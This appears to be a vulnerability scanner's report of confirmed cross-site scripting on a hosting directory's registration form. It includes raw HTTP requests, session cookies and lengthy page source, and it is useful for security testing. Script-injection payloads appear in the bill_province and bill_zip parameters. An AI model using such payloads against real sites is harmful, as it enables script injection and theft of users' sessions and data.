<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 11
province POST 3
zip POST 3
country POST 12
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
deposit POST 3
promo_code POST 3
card_type POST 1
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST '"--></style></script><script>alert(0x001F2E)</script>
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 546
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=11&province=3&zip=3&country=12&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&deposit=3&promo_code=3&card_type=1&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&copy_from_cont=1&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001F2E)%3c%2fscript%3e&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 14:03:10 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='306538BB3F31E61F975AFAF6E3DFE20CC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='306538BB3F31E61F34C0B88B68E3A5656F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='306538BB3F31E61FDD93BBC15D47CBBDC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='306538BB3F31E61F4C6D9EDE4368572AC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='306538BB3F31E61FACECC14B0FD9E3F36F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='306538BB3F31E61F5E72BF694FB7DE05C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='306538BB3F31E61F6E4EC65BA859BF6DC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='306538BB3F31E61FA5D25A938CF0799F6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='306538BB3F31E61F59D392632BCD6E9DC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='306538BB3F31E61FA6D1EDCF3DFF4B8A6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='306538BB3F31E61FF1BEA5819F9BB989C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='306538BB3F31E61F28E0758D17EA25EDC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='306538BB3F31E61FCC2FE986D6DF6804C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='306538BB3F31E61F8C51703DD2FD52A3C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='306538BB3F31E61FE64770E68EF27990C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='306538BB3F31E61FFC246EA27B4F5874C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='306538BB3F31E61F702078990FEE29626F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='306538BB3F31E61F6F6F64FF15D82D496F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='306538BB3F31E61F21240D17DAA0596C6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 11
province POST 3
zip POST 3
country POST 12
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
deposit POST 3
promo_code POST 3
card_type POST 1
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST '"--></style></script><script>alert(0x001F2F)</script>
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 546
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=11&province=3&zip=3&country=12&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&deposit=3&promo_code=3&card_type=1&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&copy_from_cont=1&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001F2F)%3c%2fscript%3e&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 14:03:18 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='306538BB3F31E61F1BF15CD4F9C42F74C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='306538BB3F31E61FD6EA75A3A0BF25B66F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='306538BB3F31E61F5C3C819E8967CA5AC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='306538BB3F31E61F7D56B3A0E268E26AC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='306538BB3F31E61FA88CCCFD757BCF5F6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='306538BB3F31E61FA928A03F0A409711C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='306538BB3F31E61FDE4374DC0344BF84C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='306538BB3F31E61F0D5EDBEB2887665F6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='306538BB3F31E61F80A014CFC452AABFC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='306538BB3F31E61FF9FF0145C9DD3DD06F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='306538BB3F31E61FEB44421593CBBA42C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='306538BB3F31E61F9005DD6397DABC52C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='306538BB3F31E61FAF8F4A4E18F132C6C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='306538BB3F31E61F6FD08EC744A96C77C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='306538BB3F31E61FBF81286608E802B9C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='306538BB3F31E61F2EB6DEC6A1273185C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='306538BB3F31E61FACE1DE2E922DACD06F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='306538BB3F31E61F6E1C37A109F8EB0B6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='306538BB3F31E61F2E4333D44B4088936F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
